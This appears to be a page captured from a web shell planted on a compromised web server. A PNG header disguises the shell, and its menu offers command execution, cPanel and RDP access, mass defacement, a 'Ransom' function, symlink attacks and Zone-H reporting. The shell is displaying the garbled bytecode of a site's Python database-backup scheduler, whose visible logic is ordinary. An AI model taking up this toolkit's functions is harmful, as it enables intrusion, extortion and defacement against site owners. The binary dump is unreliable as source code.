\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/scheduler.cpython-310.pyc |
o
+�g� � @ sv d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl m
Z
e �e�Z
dd� Zdd d
�Zddd�Zd
d� ZdS )� N)�CronTrigger)�IntervalTrigger)�db)� BackupJob)�
run_backupc
C s~ z!t jjdd��� }|D ]}t|| � qt�dt|�� d�� W dS ty> } zt� dt
|�� �� W Y d}~dS d}~ww )zt
Initialize the scheduler with existing backup jobs.
Args:
scheduler: APScheduler instance
T)�enabledzInitialized scheduler with z backup jobszError initializing scheduler: N)r �query� filter_by�all�schedule_backup_job�logger�info�len� Exception�error�str)� scheduler�jobs�job�e� r �;/var/www/html/yedekledb24/DatabaseBackupMaster/scheduler.py�init_scheduler
s "��r c C sD ddl m} |p |}d| j� �}|�|�r|�|� | jdkr.| j�d�\}}t||d�}nS| jdkrJ| j�d�\}}|�d�\}}t|||d�}n7| jd krf| j�d�\}}|�d�\}}t|||d
�}n| jdkrrt� | j�}nt
�d| j� d
�� tdd�}|j
t|| jg|dd| j� �d� t
�d| j� d| j� d�� dS )z�
Schedule a backup job with APScheduler.
Args:
job (BackupJob): Backup job to schedule
scheduler: APScheduler instance (optional)
r �r �backup_job_�daily�:)�hour�minute�weekly)�day_of_weekr r �monthly)�dayr r �customzUnknown schedule type: z, defaulting to hourly� )�hoursTzBackup: )�func�trigger�args�id�replace_existing�namezScheduled backup job: � (ID: �)N)�appr r) �get_job�
remove_job�
schedule_type�schedule_value�splitr �from_crontabr �warningr �add_job�_run_backup_jobr+ r
) r r �
app_scheduler�job_idr r r'